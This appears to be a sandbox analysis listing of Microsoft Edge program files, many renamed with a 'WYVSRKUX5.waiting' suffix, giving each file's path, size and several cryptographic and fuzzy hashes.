SSDEEP 24576:HiVcqLrgxy71n+jw2ceVUcXtqujwFDI7jEPe2bktxZ:ChLUU+j80S87j6tmZ
TLSH
T11045019FD5D512C745C61263BF02CAB3A938865DE259D360EC6F6281039BCECD3AB1D8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gl.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\gl.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 ed3b0d31e086bdd432613ce9a5f7facf39b5b0a108af0bb558615ed8d32dd1e9
MD5 6c0264a9d1f9537a3655e500f0cd8004
SHA1 eabdf9450e0ecffb7d9b0450cf19a90bd8761e3f
SHA512 27df2615f74ee7f7d2226d3d2e223ee6137c77ac2b0e70cc2790e8362079662983745a622d9a4054cc01747649764f194d5a3827963711ee0c1f955e55dd9d35
SSDEEP 24576:nYgTNrDY6Gya1KA32mqXXTHvgE2iBeuSUygTG:nHxXJlVA32mq7vgE2iBeugj
TLSH
T11135231A27C50A2B5001234A37CBC933F9D4E0996449D18E98FE863921D5FDDE79EFAC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hu.pak

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\hu.pak
Size 1.1MB
SHA256 cad26709aa5536a6697586d317f5d3b03fa7ace9614b85b9ffa4d351748f9893
MD5 0f8371596e90daf056d30ed0f5b1f9b6
SHA1 8b7390ab108fa616b5338e29b84078c4081d9baf
SHA512 e21b2707c9c01570b8582011a24ec42a8e98231b5c47042915314d39bfb689b75591b07b3b6ee76be780ab602eaa7844b455b8ff559e3f44eab7c2d1f44810db
SSDEEP 24576:mz8cmSX2eDL3JlBp9lbtDhRbF5Uy/Icb/neOBaunF:mz8iXZ33Jrldx5UGneOk0F
TLSH
T1A645127B5321A440AC650EC7AC242E58195E486B7E3F2DBA78CB8C9D38917D91CDB4CF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lo.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\lo.pak WYVSRKUX5.waiting
Size 2.1MB
SHA256 c3ff1cbbdb37102122650f1d9d222eae9d25db6995427057ccd582f46431fb92
MD5 d3fc4f2198c2e19e8eac28093d504608
SHA1 2a47bc832acca3788edc286464eef1a5653d0ad6
SHA512 387b548238977cb81519968d950c44a73a3b8f1585a7706ca710c96934f62af9367ac0da420dbba0d832f3521b0cdeb2ec1b891d1b38b8a529ff27bcf5b61e05
SSDEEP 24576:c5NKPwRvpiFkhiUK3zcX4cEEY3Rizh1XV7c:ENpzioi9cIcEEcahI
TLSH
T143A59260A9AFA3F096F453437953A6F253B58E34F067B8A03A5E4D785EC1D30EC47628
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ne.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\ne.pak WYVSRKUX5.waiting
Size 2.2MB
SHA256 72572ab45a2e0227d91228216f28f4684f4d32670e26f94adcb2c83552e20c09
MD5 cadf56bdece3e33fcaac232122e42480
SHA1 7131e9c4a0013ed02447f52f848186a9c25c438f
SHA512 a08704e6b4eadb45765c0197e14eb1d9fa8ce63b028a72278d292145af14190bd4059fe78f1fd79f804fa3498020c277ede755e865c31f64952b791cbd3b265a
SSDEEP 24576:lK1hEWFMl+E/OzzBK16sK3q7/8faw5AsJHQSITcsx:8EWqUE/OXBK1Z/8PAkHQSI48
TLSH
T1CBB5654DF7B9F3A659EC788B2B4C0D3BC9A82631C3B552978CB8B3D74985CB004D9592
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nl.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\nl.pak WYVSRKUX5.waiting
Size 1.0MB
SHA256 52d357744b319c18770c80583f3b48f54f378ef3de0cac430b0d763c6d18d5c5
MD5 23e782af0b8c2db90c9a051b2ee76aae
SHA1 7b9273dd0cbcd4d05beeee05eb2e2bb6551a9ed4
SHA512 d6fe8fb317c0ba63727f470d41fd40a97a963aeceb80207a37efe7d8b6ba99b47db67f74581b07deaf523e7a3cabd20084afc43b341787a3b51c79a468b81d55
SSDEEP 24576:DqVfiszNaW/xShtsd8dqFzNlD1IzIwWwwkv6u1wdIVj2u:DqVfDamxSh6d8WNlD1IEwWXQV1wdI4u
TLSH
T1743523133CA8856DE6E89BAFE540D1F78F958148C2ACE24CB96DD07E5643B79C0FD842
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ru.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\ru.pak WYVSRKUX5.waiting
Size 1.7MB
SHA256 9ab4f7a61203e393beaf64822ec85440af11c604be80178c4e4b9e66eb669995
MD5 cfb1dd327577d10c0c0fb21f43740074
SHA1 81e9c77dadaba3e3fcdf9303b72a6336c26ca732
SHA512 53e3daa4b3d3f920cb46a189a6435856c8080fb0eefe95fd0dc700703e0065573f771b019c02ca3b773911f3990706baeb1bf75a5781c99f08c5fccf6e8b5e9f
SSDEEP 24576:qyp/1u8ThNuKO3gzUx2QktroqKtoQy6sFKWK8zwx1yHJM/Xc3/EWR:qFqNuKOwoUntrjKcnxK8KGJM/c3/EWR
TLSH
T1EE85D560569A64DE1105F01BDC08BE0D7CEB45FF7FAB936219682D7E35F2024C27E62A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sk.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\sk.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 a16cb65073951d9e7343d1dd72a778f313b38736f820dcf67cf01d0b793a4e11
MD5 8a715ce915c66d11fc968c664fa960cd
SHA1 e38da0926c7ef22b9799ed7b3193af72e4bfb4d4
SHA512 a82cdac2c7606e678c266f8985a19786246cc78c6b9f667fdb63f26030ae951ca2e379e524f13e411a5ed6bdf7ad5b30c9b113e920f10a1136e6002bcc864575
SSDEEP 24576:ydfPaCjWTdxkvm5Pb30MXaBUe8skOz68eZaCHqvDmIQZbc8Cfz5B:+3VWTdxkvm5PD0dFxzwaCgFQZc8MB
TLSH
T17F45233FC692540E9FD90289F967A4C0B87E09718C5ED8B9A84F324B16776CE49BDC1C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sl.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\sl.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 d246b70288d8d432b72e04db5a44a8bbd49d8b0397398bfc0f82eb60a5c413ea
MD5 a03182a5876549fa276637a122028704
SHA1 8d619390ab8eb4dd4e223f4c306f0ac2b1898a8d
SHA512 2b355324a24fd48c5bc74b220ee069bcf8a083d6b2ab2f112670c148689efe914507f177953b3b4d436aa87eb484d372d67a64de4bfbf37b2ea9510dd82bb495
SSDEEP 24576:ufCUGm43d0CqWQOndaFNnp7CSpcs3KhZa/PXhWeH/196YyrxIlEEDD:ZUGm43d7AO4NpeSGsayxWOr8xIl/D
TLSH
T14835233673974E4F1C9B32CA9633C9807FAD8D6BEB63C550F84E234D9011D6A636D889
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sr-Latn-RS.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\sr-Latn-RS.pak WYVSRKUX5.waiting
Size 1.1MB
SHA256 a7fffb67cb7252322dc405aa6a924e85269c7ec385777ddf5cdadd9f8d518993
MD5 0b74111cff779a0b074ec0c6ad40d073
SHA1 e2f5636f409346f4e358da869a0bde42b8b45c99
SHA512 98cf74af45d3ed32087d9eefe4b33929baee36c5a7c136726bc75a524ad2bbc15c087d22b2c00fe5eba7d58dbd207546d3feb062c884cb941d58fdc68c25d34b
SSDEEP 24576:4pY7cwOv9UkYcm+fneQ7JSnWbgtCooPRb2HpiAI1cpMe:/zaPYwftJZ0CoNcAIcpn
TLSH
T1CD352328F7E7248609A322866EB64F61B9FDC15DD4D8DEB6780F13172193F6CA4B8085
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ta.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\ta.pak WYVSRKUX5.waiting
Size 2.6MB
SHA256 d912d26cada306b724ea5223b571d0a9a8f678981209e0bab39c038f19bb8ad8
MD5 7042e86174ea55888db7000242dcf736
SHA1 3730c01a536e061ce8260d6d8fbc58a50e8a4322
SHA512 c3639577b11fcc0d37e29c730434939925b75d95ecf18e7ac7a06a1ef85ca04ecfc8b33ccf6ffe6765b8cceb4e0f32221d5f0c2ebe3046d8de4dc0059f44ded5
SSDEEP 24576:QQXEdT3III1+RA49MykWW8Ks/ETg/u9NKGHFiuGT:QQXAupy3RylfDcuGT
TLSH
T101C56BCE923EEE890F93288F0318536912986155C47BE3A67C766E1198ECC5DDF3427E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

th.pak WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Locales\th.pak WYVSRKUX5.waiting
Size 2.0MB
SHA256 30e04e6c7ab42e661deb95088f701ca11c6ad97e2d1d1f1fd80f117c4ec79a03
MD5 09e57112dffb3a7155990f1e1bcec72f
SHA1 a27dfae3de95ead41dfa35855ff38729ccd49805
SHA512 892535294d8327ffb3f66431a5144c39e97225e217fd91f5512a5c68950e9434894066ca1538dd1add2d6801923400b7fd1e20400495831f008478bc903557f6
SSDEEP 24576:adSRJ/YQzBuJncGRywLyIOsyAcpGq51HkCIT6b:adSRJ/YQzBa59yAukCr
TLSH
T188A5B6B3324BDD9479441A5B292A77C5A66DAE693F73F8E000C9215A73F07168432EF3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

preloaded_data.pb WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\MEIPreload\preloaded_data.pb WYVSRKUX5.waiting
Size 9KB
SHA256 bfcbed51765642e07dbe54b942921038fc2ebe37b8117fb2c3d86b4747fe9d8c
MD5 cfea531ed2f372736cc69598e711519e
SHA1 b752e08eb3420502489c5a79bd1784f8bff1b7f4
SHA512 adbc1c15886c1f5268cc15a2909c3ffbf051413ab5ebc775f4fea52c31dc3fc28d2cfbc05e9b0aac569ed85ee2ea0b89880e5b7f9586d056aa0dc93f29f03480
SSDEEP 192:RE43SrSnggDk7UNhUWKtlR5HMUq4buwNnbesxNmk9g7i+S:BirSngj/jTHMUq4bhbeWIkkw
TLSH
T1AC12BF1DA06D1E674AFC947CC418A70B3BB30DB087EC0647DC548A115AEA3ED85F9C6C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

as.pak.DATA

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Locales\as.pak.DATA
Size 2.1MB
SHA256 dce1f1895dbd9d19ace028f58be26e216ac8b6bfb073f6f05db431c4eed87ede
MD5 674f671c30a68aa273e0d3b2c6ae70c9
SHA1 46f84d9299b0eed288319fe5883c0c1e6f339cd8
SHA512 e162981c4ffe9af5a1092b831813978485cf9502bb3484b8cbb1dc7a9563eaab4a27e513c3406cd45fc055f4a0ad5b4f77d4142934e1791c20006e3dacd95dc5
SSDEEP 24576:WQ9gIpXuxQpHFuKOykwT6Wvyu47psGVaSkh8fctUnQzINqunW8fWEG:Wo38xEHMynyu47JVrS8iUPG
TLSH
T142A570205CAD51B6A8D5DDC90F0C6330C127AE5AC7A5F708CC0BA214799ECBD9DAACF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Trust Protection Lists\Mu\LICENSE.DATA WYVSRKUX5.waiting
Size 35KB
SHA256 efcd3a7aa4e307abacd4abcb3d85bb8093c016d64148b287afa1580366c97991
MD5 67fe47a81940e0a546c0650c9d589071
SHA1 5e832ebd465205f3c5c43ba11298700a820f268a
SHA512 7eb9688d8d6086a8d1ee2bfe5e3d9bfd68cae70b047f7ea13031d22089a44d7a1f04f8b42202b508c27365d53ae2e31fbd78d5f2c80e5958c3a757703bbf7a93
SSDEEP 768:UmRdfuRxqTAH/iY8dQGo/h4c3XQelmZsQQiTjiVXJc6EYPA00/kaiUCACw:HjmK8R8dQGo5dIniVXl9ValCw
TLSH
T105F2F19B81DF7CFE7DBDA3AC444868A24874676721FF87D9636CD2C325C792C44160A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Social.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Trust Protection Lists\Mu\Social.DATA WYVSRKUX5.waiting
Size 1KB
SHA256 cb7041b9564adb4c49dd973f8e3e8c2d9263e1a5dcd14d3fc4962c87931a7679
MD5 c773e3bf948d878187772f782d06ebe1
SHA1 1a9aef7a85d0ed489545ed65fc6df86188b06f1b
SHA512 d55fa49c3342f9816a24635c3fe6d912e1f65e2cfef826cd3761484edbe7692a1ef28d74a2e9badde31cf3809741759d6ae1defc1c2d072ac3500112d8210d59
TLSH
T121413B30C05E363F48D3279D6848ED6669430E79F2FCA9C14827485531A1FC654EF1A2
MD5 SHA1 SHA512 TLSH

Submit Download

Other.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Trust Protection Lists\Sigma\Other.DATA WYVSRKUX5.waiting
Size 1KB
SHA256 f55e82d69d9c75b84c47b4dfe3b55cc7836c205606cdc47a8858807a97804b4c
MD5 e5c3c8c1c5b093306e35327e8be899a1
SHA1 b722fb4094f37a2f3bba9d80dc6277185ff4578c
SHA512 20b45276f8c5717b328d2595171c00709bc4a0eaae2990db7923146558a6c153da27256803fbea3ded22825e857f531d8f1fbcecdf6d26972134abe2b946321d
TLSH
T1DC3108B590DA2D6A4A4D226D9858EC21BCE3053093B9EAC5092A045642F3F5B64FF8F4
MD5 SHA1 SHA512 TLSH

Submit Download

Staging.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Trust Protection Lists\Sigma\Staging.DATA WYVSRKUX5.waiting
Size 17KB
SHA256 e994e32ee45b1b41512c387448448a10289ffba4c3f7e206ff6e34a57ab82470
MD5 475aadc5f2d06b8ea0a7ac08b548c750
SHA1 768fbe18d8a6cfa0a63872b4f436d060c0e145ab
SHA512 d890622abf5c99c7e4713c1fdd93bfb281cae6be6466e58c4efd6686e7666c7fa829ec58efea8e62fe500c7c53ddf63a74c6fa2989e5b92138beb44fb419882d
SSDEEP 384:V9sEx5pgJv+XDMvUVPdz07aAJ6qDf2KzoaTsirMLWB3yIkkw:V9sI+mVTAJh2YxHrpB/w
TLSH
T1ED82E0BEA71304D60793115DD9248D85BB06A368C1AC0CC0FEB46979823ABFAD92B068
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SmallLogoBeta.png.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\VisualElements\SmallLogoBeta.png.DATA WYVSRKUX5.waiting
Size 16KB
SHA256 adf635b57e82b1f1e51acfa741cef86176bbd7a0dec2f3c05430467f3ee332fb
MD5 f9741742a6225aeaaa055e811a3b8700
SHA1 8ce08a400f673be40f3b90addc252002cb2d097f
SHA512 43c4d33ea61129939dec0779a5789f33e18e4b1092dcaf4f327324d735775a817a2bfcca367a12beb456ed002aba95d0de762dec3c5268735e50a6f2c0bf5bc6
SSDEEP 384:YANgCmj4wI2XUOMTtfLaHjyCu+m65uqfmPa+HkuSb14h6Ikkw:YAGCmjn4lBUfmIuimi+HlHw
TLSH
T1B172C0D34861F5E16F46E7AADD247D214CBBEB94B6312A05281EC09793FF68510AB807
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SmallLogoDev.png.DATA WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\VisualElements\SmallLogoDev.png.DATA WYVSRKUX5.waiting
Size 15KB
SHA256 491c7d923d7e23f7e72f895031465c28e803a9ca4965c95be647b5c84f51610a
MD5 bc865d91b215de11c7aeab6eec2dc901
SHA1 9854b6179ef56924cded58fba1aafe9d8990edb0
SHA512 f9063a421272210027b919fd7bf3d7cb21ea1bb3e71e1b68cd022f1eea55f2a21024d0a74f77d1f19f5c31b056ee9d7b6866664d0d5037b2966aaf21c8996f1e
SSDEEP 384:DgbhI0ThaK2HSWdKu9DIF3NPWdGUcGq23mEEQotWuM67kE4Ikkw:shIwUK2JdI1NxpwtEGC7kEZw
TLSH
T16972D0B3702EBB7F90427795B048A8D74B6300833CF911985E9C4C9B0F15955A3AF8DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

v8_context_snapshot.bin.DATA

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\v8_context_snapshot.bin.DATA
Size 709KB
SHA256 994155345f83828dc02ac4a8ceb7a2f0730790b9219c64582e3b8dee952aaa37
MD5 81e0e8f787abc8b77fcdf07f3ec43148
SHA1 0e630c172b88a83b5b65090ce17fd29b8c074949
SHA512 dcf955bea0ebeeb77e01c3976205efdabc99ac9ae1cf5795f6a0707f917e185229f6dbd4d8d2ca8b476991a58e6e7679fc50170c271eebebca291d1ddf277836
SSDEEP 12288:5mt+BV3EJIawcSpJC1z13lTeJuT2pI+yzIYIP54ieirMNdxCz8brzU8584DU:Ut+BVUicSpEJ11TeJuTqY6460xv5U
TLSH
T1EAF433298BC851B36C91B3FA218F3784516A5349F538A5D3370623E66DB23EB4EE1437
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Entities WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Mu\Entities WYVSRKUX5.waiting
Size 70KB
SHA256 b6c6e7bf49b52a5bb6f795e2689058cef78b7b299dce1ff89f44a53fbfad69fa
MD5 a5c4e72445bf3c60b027e9c48a7fc55c
SHA1 e89a993282176bea375dbd2409b2475642d01e9c
SHA512 a8e998828836f1dfa20ed2c503ae740d397e19e6a879de6a3cc06641382451842e439ef7ca85190dbc2a6bc8062f90df60441fb1499fe643657f0d6314457bab
SSDEEP 1536:GPppQcX6IVZMpSwbGtMtno21P1HlcCpu90e3YurZkhT33TD9ExBz5v8w:GxtX5VZMowbIMtV1dHl9pk0CxrAT/9En
TLSH
T1466302FBCB712C4813D235DE0E881EEE6C949DAB9B3D9E69221311134B1EF1D246DB46
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Other

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Trust Protection Lists\Mu\Other
Size 1KB
SHA256 2904a33a80f35537dda8d51a8469946b0db65c7c23b6a160475cd47ad3f819b7
MD5 314fd73ba63df4d2b1d9a4ed0442d4a9
SHA1 2f12ae7d1e256a57110aa021c4764e7af3936282
SHA512 a0be85153c7b5769c041afb7b9a233a648c50aa6877aa7d175f6377757e42178688b70a3eaec1e3a85c4abf03407b84f5b34020fdcfdc4a0a9c9f57ba2d9923a
TLSH
T146312AA584F70C7E468679AE908CDD66AE530D6962741A810D34545452A2BD258FF8B0
MD5 SHA1 SHA512 TLSH

Submit Download

LogoBeta.png WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\VisualElements\LogoBeta.png WYVSRKUX5.waiting
Size 30KB
SHA256 e8f47de80cb832ea3d1eb1d1fb263a14465c0e3da351cf822d21ccff6096eaf6
MD5 0bf6547466fbe0659984a27f00d07b0a
SHA1 6b3b375281f4b156df08f15230bb342f48c763fc
SHA512 1d537baaed3fa2786fac594b806b70b5abbff6c7c1551a24312e9555f9a98d253eded773a0bb340bb465609a93a0e20ef0422a30e1ad624cc3f08957b20f472d
SSDEEP 768:7bwt1SIWdU7fbU0H7jD5xUylTQb9zP9iUaNPiahsjjTL7w:4TSIWdU7f40bDUf9K5iahsjjrw
TLSH
T104E2E1A2DE352F1DD00F4A91ECD67662EB764D8E1790A743825F990841113C6D2FFBB0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

widevinecdm.dll.sig WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\WidevineCdm\_platform_specific\win_x64\widevinecdm.dll.sig WYVSRKUX5.waiting
Size 2KB
SHA256 07ef5a08384244ae18f3a1b1962162e90934aebdfb35711dc0fd84c0589d7d5c
MD5 fcbc5b5358e3a46dfef6951d13a9dd4b
SHA1 f4c862e1255b62028709793e22ddf89d37b69e64
SHA512 79c350e8f2aa7cb9665125f2a6a42ca7f6d2beaf5e9612defaf7dc2550d4692bda9c9af59e7168c861f8dd0c0a118885bafa86e38ab0604f3ba1eb11e27b61a0
TLSH
T1EA518EC340E720724695AA8E749CCD1234C35DB26FF9BF40E61D80ED22A25E83CDB0B0
MD5 SHA1 SHA512 TLSH

Submit Download

concrt140.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\concrt140.dll WYVSRKUX5.waiting
Size 326KB
SHA256 aa5309fb9a89839e45b4f15d8eb61d5371496fc2f7f7227edff2b9d3f6435301
MD5 acadcfced2d1423ebd4ab58241231e2a
SHA1 322d8be5b567e4c8015838d65669891cbe08ffe3
SHA512 61f17a8c4a19f95b02547e46986b6af2c9da802516ef08a04ec9ff03e794470aa75fd897dca5d9022dc1b535f47e1fdf0156e74ae8b646cca9294c91343eb0fe
SSDEEP 6144:jU2RBUBLk+pGnKM21uNlQn0h82d1ZL3DvOeOK5rL6dYUS0m83uaXqDE/m6JeFZ:jU0+Rk+pGnMEfQ0t7vvjOyadYiZhX8d7
TLSH
T1BE6423E152085D3636CFA6A27701EF0635823AF6E948B9793C97582CF36A9C86DCC059
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cookie_exporter.exe WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe WYVSRKUX5.waiting
Size 116KB
SHA256 f9d10cd6998c97cb89a6a4eff51c21db7393cf6677078789897db23c89ad7611
MD5 19a0bda24dd9be7bc45aa4e29d97b8a3
SHA1 669653b6070612db7c620b0d7ac1db119dad420e
SHA512 0d0b9334d32828c67c8883d425cd2d81d355342e4c41bfddb82fc3d1b4a20bb7c3527d4d624a1bba02556f5b8114723dfd078577149d2b0d236c71f493cd2ae4
SSDEEP 3072:TZIyi/SAiKyDm8cCl5fB5pbDJRgF5PBxml+bR0r0mSbpCEkw:T4Cfh/JRgvg+bfzbpCEj
TLSH
T19BC312A1E209E45A457CA4BF240D7222E2E56ED78FDF53320F0A2052F71DA42D56F83D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d3dcompiler_47.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\d3dcompiler_47.dll WYVSRKUX5.waiting
Size 4.7MB
SHA256 82b87a242859f6fd5abc419683f2049553cea58d86775fb4edb0f8008b76f3da
MD5 03082f8ad3440283e6ce76bf563d699f
SHA1 140016672509a6ebdbc391dcc52f1871b8c058c5
SHA512 6149977b023a0d18564f55ff5b9f14cb6509b1ec18ce221ad974ccf349b7a957f8306a9b1a183ad46e01576f57b9bbae24bd562e395a217d1de43391a7f8d3a9
SSDEEP 49152:Quk/OdnTVDu3WAkzU9qBA5duVNYvkaRwvpiD0N+YEzI4og/RfzHLeHTRhFRNJSWA:QuG6EWnQ9x5smHXnog/pzHAo/A2J
TLSH
T1EA36BE5667F940A9C4ABC178DE479203EBB1B814032497EB4190C7696F73FE26E3E724
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

delegatedWebFeatures.sccd WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\delegatedWebFeatures.sccd WYVSRKUX5.waiting
Size 19KB
SHA256 20aac998bead675853bfb2286798e9240c8d21b85ae3c8e724bae44b50e58a7b
MD5 7ce6800a1efa8d180efb69bdb0cc7cdc
SHA1 ee2bf5009500b057370ebcc5359ef0579fe325b9
SHA512 1017880e626fcdf75875f35f84dd386dab8214bf7efdb622d14f09194201ff3d96c02503b7d0c5a527c8484ac26e534b94c776f30d030d86861b3c7eae6e92fc
SSDEEP 384:61uurGNykgp0UpsXZG49AxYzMP/1aEpkl/fhF6dwrr5V8c82vTIkkw:U6N1UKWxYzcm3hBhEw
TLSH
T1F592E0400CA3DD3BAA5294C828BFDFA877BB4BE8031615E0113A65B7CB322340A359B1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dual_engine_adapter_x64.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\dual_engine_adapter_x64.dll WYVSRKUX5.waiting
Size 3.7MB
SHA256 220e8609bdd63d6fe8991d15b2edc0636e9c5d4722234fe828021262d579fc1e
MD5 24c75503d285c2d748ea6c0d8f10bf5c
SHA1 903664f9bd2622047e1ec7719820657653fdffcf
SHA512 b4122282f6340c7dee7224d019882dc5b67d9030a5cef903cc4addb4602ed6a8557aeefceba166cc926ba7d807eac4803f86b2e2fd6f8cf2ca83a10582c059ae
SSDEEP 49152:rtcB0G1IOAtv6owdClRViI0p4yDIBULkVrglGCEo9iGq2LRONPdYS2E/HJX0y6XZ:ZcButv6ow8lqpdD/gxVnBjfRjhc
TLSH
T10E069C03F68A80A9E04DC178CB678726EAB27C954F25A2DF06907B112E7BFD4573D760
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dxil.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\dxil.dll WYVSRKUX5.waiting
Size 1.4MB
SHA256 02b1efb99b1570def00a08de6d762443adaf7f485010bfb0a07cb127b52caca5
MD5 8ddce8a24db3740184fb55531e7d71a1
SHA1 29437365f399da6f0ca36290d753e1ce3d35d079
SHA512 c005dcf634f3d2d33faca4111eb8cb3f7f105b0a75a8580cea1c39760d637eb9d1fade03f513991671cad724ce03d08f918e635bb1821384c248e465601ba4cb
SSDEEP 24576:hMkryVqhGDBFIMh9K0lH6I6BvZVUjSn94j+v1acLUkJvS5Ka1:hMPqhGDBFIeXWZVUjYAyvS5T
TLSH
T130650127B75C0C65D4FA433CD9838E192266B09147F08BFB3648532C2D9BBE95F35AA1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

EdgeGameAssist.msix WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\edge_game_assist\EdgeGameAssist.msix WYVSRKUX5.waiting
Size 997KB
SHA256 4f12c4db1be4326b14ab72e18e67655d3f34bc112401efa90ff059bb50513c81
MD5 643efcad937edcaa782a7773c5e8ec2c
SHA1 270d119fe044cf27a99fa1a105fa38bfe07fe143
SHA512 3ac3fc063c9390f86669e645a4d96b78d26c5cc0d44b2e415265ff010ef114f2e7092c3a7095f8b7a5c4360597020e736fc08b19ee6004bdf2c7933889f8ca29
SSDEEP 24576:gAgecHKBnTJnP7g0/s5IMLllXzk6Ga9Kil:gFecHUTJ0B/Ll1z7N9l
TLSH
T116253389CF3547084C7279DBD92A05BBE6239A89CAD4743DFD6C67A9082031236F7673
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

elevated_tracing_service.exe WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevated_tracing_service.exe WYVSRKUX5.waiting
Size 3.8MB
SHA256 b541a76eee576fdfe711913df0a9e58fc9a4755c9b72118ae7958987f2481fa5
MD5 3a992f8e2bb75fb55fde3c38b21f7100
SHA1 6b935618673a1d35d6cf3c2517d579a5e637ef26
SHA512 054e150d7e5bc315c4ed039b1a1caf8d4d903063f55cebbffa131442bf28b22b2f7ab5f3768ed258a2b7e73075ea0e9ed13ebbcc2d7a12bda01759b018804da8
SSDEEP 49152:+zlCYM0wvGSSzT/ESNlPizf37m006NPpIupEoEVu+e6NqcXToRzvUqIzYHBigdQi:+zlCYM0wvGnvESNlPiLQCENUhIUBbb
TLSH
T161068C03B29900D8E05DC578C7568522EAB6BC850B35B2DF07507B562E7BEE8AF3E750
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

elevation_service.exe WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe WYVSRKUX5.waiting
Size 2.2MB
SHA256 384dbc1375b8079ec158f514de3361ed5d0bc4d0e7ffb9f5bdf14b10740e4d77
MD5 379df1a8d93a38bd360f0246a22d8b55
SHA1 039697b45b8694dd545ac15f00939d07a91bcd2e
SHA512 48a8c62e458d623a5e5869c52c04210410c5c57e9466df3bc18d0e2a1a283682282eb5dc1a4947042be0e8c9a654b33c62281a10ff51592727f877ab5db717b2
SSDEEP 24576:oS0wGhkD7Vw8JMsEI/09FDto6LwrKiUH4g80fDrDoKBhuXjzFlvq4cqtfMxnSW:TNQ87GfxI/0e64K4ctBhuXjfS4LWxnP
TLSH
T192B5CF03F39D44E9E069C178DB168127EAA17C860B30B6DF1680765A2E7BEE48F3D751
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

eventlog_provider.dll

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\eventlog_provider.dll
Size 17KB
SHA256 fadde134f85185245c4a8b20fcf057c9c686c9003613c2fb28ad2fc68eef8158
